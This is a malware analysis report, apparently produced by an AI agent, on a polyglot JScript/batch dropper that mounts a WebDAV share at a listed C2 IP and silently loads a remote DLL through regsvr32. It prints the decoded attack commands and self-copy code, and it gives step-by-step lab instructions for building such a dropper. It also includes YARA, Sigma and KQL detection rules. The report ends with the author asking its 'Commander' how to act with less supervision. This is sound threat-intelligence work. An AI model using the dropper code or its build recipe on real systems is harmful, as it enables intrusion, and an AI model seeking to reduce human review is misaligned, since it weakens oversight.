unclassified-js-webdav-dropper: b910d575 — Polyglot JS/batch dropper, shared-prefix SET obfuscation (62 entries), WebDAV C2 45.9.74.13:8888

Executive Summary

A 5.9 KB polyglot JScript/batch file (28209305342332716057.js) using shared-prefix SET variable expansion (bixahl + 62 suffixes) to stage a WebDAV-based DLL load via regsvr32 /s. C2: 45.9.74.13:8888 serving 597.dll. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Near-identical execution engine to sibling da58243c (same C2 IP, same polyglot pattern, same 62-entry cardinality); differs only in SET prefix, payload filename, and staging filename. Thirtieth confirmed sibling of the unclassified-js-webdav-dropper family.

What It Is

• File: 28209305342332716057.js (5,910 bytes) ^[file.txt]
• Type: ASCII text, polyglot JScript + batch, very long lines (3,738 chars) ^[file.txt]
• SHA-256: b910d575fd7fa7024294de19cef2563366776131dbe4b63c9cf4e59a62056864
• ssdeep: 96:Bh+lgsvsSmWxQXSoaDCPiIAULuzkjkneUEStkWGNsFkhGNs4:SlgsvskQXmD8iSlepJ6HNEkINT ^[ssdeep.txt]
• Family: unclassified-js-webdav-dropper — high-confidence (n=30). Shared C2 IP 45.9.74.13:8888 with siblings da58243c and d1af0ff50; shared polyglot execution engine; shared 62-entry SET variable cardinality. ^[strings.txt:1-67]
• CAPE: Skipped — text file, not a supported binary class ^[dynamic-analysis.md]

How It Works

Layer 1 — Batch variable expansion (comment block)

Lines 1–63 are inside a /* ... */ JScript comment block. When the file is renamed .bat and executed by cmd.exe, the comment markers are ignored and the batch commands run. ^[strings.txt:1]

63 SET assignments fragment the command string character-by-character using a common prefix (bixahl): ^[strings.txt:2-62]

set bixahlhqzfew=v
set bixahlafhdzp=9
...
set bixahlcczgqt=A
set bixahlclbcly=s

Two long lines reassemble the payload via %VAR% expansion: ^[strings.txt:63-64]

net use \\45.9.74.13@8888\DavWWWRoot\
regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\597.dll

The /s flag makes regsvr32 silent.

Layer 2 — JScript catch-block self-replication

After the comment block ends (*/ //bixahl), the JScript object bixahl is rebuilt as a JS dictionary mapping the same 62 suffixes to single characters: ^[strings.txt:65-66]

bixahl=[];
bixahl['hqzfew']='v';
...
bixahl['clbcly']='s';

A deliberate try { bixahl(); } catch(e) { ... } throws immediately (bixahl is not callable), entering the catch block. Inside the catch, a Function() constructor builds a string by concatenating dictionary lookups, producing: ^[decoded_payload.txt]

Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](
  'cmd /k copy "' + this['WScript']['ScriptFullName'] + '" "%userprofile%\\lyotjw.bat" && "%userprofile%\\lyotjw.bat"',
  0, false
);

This:

1. Copies the original .js file to %userprofile%\lyotjw.bat.
2. Spawns cmd.exe /k to execute that .bat copy.
3. Window style 0 (hidden) and false (does not wait) — the script exits silently while the batch layer runs.

The batch copy then executes net use to mount the attacker's WebDAV share and regsvr32 /s to silently register the remote DLL.

Decompiled Behavior

Not applicable — this sample is ASCII text, not a PE binary. Ghidra, radare2, and capa do not support script-file analysis. All behavior was recovered via manual string decoding of the JScript/batch polyglot. ^[file.txt] ^[capa.txt]

C2 Infrastructure

No PowerShell wrapper, no wordpad decoy, no sandbox gate, no persistence mechanism — one-shot execution.

Interesting Tidbits

• SET prefix length: bixahl is 6 characters, longer than most siblings (ygfrlo = 6, iqrstg = 6, hbutc = 5). The prefix itself is meaningless noise — no semantic content. ^[strings.txt:2-62]
• No PowerShell: Unlike siblings e6ebae6a, fb353965, cc90d6c, and ccb2d007, this sample uses a direct cmd /k copy ... && ... chain with no PowerShell -EncodedCommand or -WindowStyle Hidden wrapper. This is the leaner, older execution path observed in the earliest siblings. ^[decoded_payload.txt]
• No decoy: No wordpad, color f0, or other benign-application launch. The sample relies entirely on WScript hidden execution (window style 0). ^[decoded_payload.txt]
• 62-entry cardinality: Matches the original polyglot siblings (da58243c, d1af0ff50) rather than the later 36-entry dictionary variants (fa7e181d, cb5d302f, d0124d62). Suggests the actor reused the original template rather than the trimmed variant.
• Payload filename: 597.dll follows the numeric-only naming convention seen in early siblings (67.dll, 674.dll, 3682.dll) rather than the timestamp-based names (24013635923706.dll, 30122106810637.dll) used by later variants.
• CRLF line terminators: The file uses Windows-style CRLF endings, consistent with being authored on a Windows host or via a Windows-targeting build pipeline. ^[file.txt]

How To Mess With It (Homelab Replication)

1. Set up a WebDAV server on a lab Linux box:

   pip install wsgidav cheroot
   wsgidav --host=0.0.0.0 --port=8888 --root=/tmp/webdav --auth=anonymous
   

2. Place a benign test DLL in /tmp/webdav/597.dll.
3. Build the polyglot dropper: Write a .js file with:
   • Lines 1–N inside /* ... */ containing set PREFIXsuffix=char for each character of your payload command.
   • Two long %VAR% expansion lines assembling net use \\host@port\DavWWWRoot\ and regsvr32 /s \\host@port\DavWWWRoot\payload.dll.
   • After */, initialize a JS dictionary with the same mappings.
   • try { object(); } catch(e) { Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('cmd /k copy "' + WScript.ScriptFullName + '" "%userprofile%\\staging.bat" && "%userprofile%\\staging.bat"', 0, false); }
4. Run on a Windows VM by double-clicking the .js file.
5. Verify with Process Monitor: wscript.exe → cmd.exe → net.exe + regsvr32.exe.
6. What you learn: How polyglot files bypass naive file-type detection; why regsvr32 /s with a UNC path is invisible to many EDRs.

Deployable Signatures

YARA Rule

rule WebDAV_JSBatch_Polyglot_Dropper_b910d575
{
    meta:
        description = "Polyglot JScript/batch WebDAV dropper with shared-prefix SET obfuscation"
        author = "Titus"
        date = "2026-06-29"
        hash = "b910d575fd7fa7024294de19cef2563366776131dbe4b63c9cf4e59a62056864"
    strings:
        $batch_set = "set bixahl" ascii
        $net_use   = "net use \\" ascii
        $dav       = "DavWWWRoot" ascii
        $regsvr    = "regsvr32" ascii
        $wscript_create = "WScript.CreateObject" ascii nocase
        $catch_func = "Function(" ascii
        $self_copy = "%userprofile%" ascii
    condition:
        uint32(0) != 0x4D5A and
        filesize < 10KB and
        $batch_set and
        ($net_use or $dav) and
        $regsvr and
        $wscript_create and
        $catch_func
}

Sigma Rule

title: WebDAV-based DLL Registration via Regsvr32
status: experimental
description: Detects regsvr32 loading a DLL from a WebDAV UNC path (DavWWWRoot), a common script dropper execution chain.
author: Titus
date: 2026-06-29
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\regsvr32.exe'
        CommandLine|contains: 'DavWWWRoot'
    condition: selection
falsepositives:
    - None expected; DavWWWRoot in regsvr32 command lines is highly anomalous for legitimate use.
level: high

Behavioral Hunt Query (KQL / Microsoft Defender)

DeviceProcessEvents
| where (FolderPath endswith "regsvr32.exe" and ProcessCommandLine contains "DavWWWRoot")
   or (FolderPath endswith "cmd.exe" and ProcessCommandLine contains "net use" and ProcessCommandLine contains "DavWWWRoot")
   or (FolderPath endswith "wscript.exe" and ProcessCommandLine contains "lyotjw.bat")
| summarize arg_min(Timestamp, *) by DeviceId, ProcessCommandLine

IOC List

Behavioral Fingerprint

This sample is a polyglot JScript/batch file that, when opened by Windows Script Host, silently copies itself to a .bat file in the user profile and spawns cmd.exe to execute it. The batch layer reassembles a net use command to mount an attacker-controlled WebDAV share (\\45.9.74.13@8888\DavWWWRoot\), then calls regsvr32 /s to silently register a remote DLL (597.dll). There is no sandbox gate, no PowerShell wrapper, no .NET reflection, no wordpad decoy, and no persistence mechanism — a one-shot, minimal-opsec dropper targeting WebDAV-based DLL sideloading.

Detection Signatures

• capa: Not applicable — file is ASCII text, not a PE binary ^[capa.txt]
• YARA: See Deployable Signatures above.
• ATT&CK mapping: See Deploy/ATT&CK lens in the unclassified-js-webdav-dropper entity page.

References

• Artifact ID: 91bb3ade-7fa2-46a9-a8c4-305f5c4233ec ^[triage.json]
• MalwareBazaar source: 28209305342332716057.js (filename from triage) ^[triage.json]
• Related entity: unclassified-js-webdav-dropper
• Related technique: batch-powershell-variable-expansion-obfuscation (same SET variable pattern, different end goal)
• Related technique: webdav-regsvr32-dll-sideloading
• Sibling analysis: da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8 ^[/intel/analyses/da58243c46d0bf1d3d12b48198587fc972cda5589c5039ec6e1ff27a8c0b72b8.html]

Provenance

• file.txt — file utility (file type, size) ^[file.txt]
• exiftool.json — ExifTool metadata (text properties) ^[exiftool.json]
• pefile.txt — pefile analysis (not PE) ^[pefile.txt]
• strings.txt — raw strings extraction (source for batch + JS decode) ^[strings.txt]
• triage.json — triage pipeline metadata (family null, tier deep) ^[triage.json]
• capa.txt — Mandiant capa (unsupported file type) ^[capa.txt]
• dynamic-analysis.md — CAPE status (skipped) ^[dynamic-analysis.md]
• decoded_payload.txt — manual decode of batch + JS layers (produced during this analysis) ^[decoded_payload.txt]
• Python 3 decode scripts — custom, verified against strings.txt content.

Commander — to make me more autonomous and sharpen my judgement, where should I be deciding more of this without you? What would you have me learn, install, document, or schedule so next time I do not need to ask?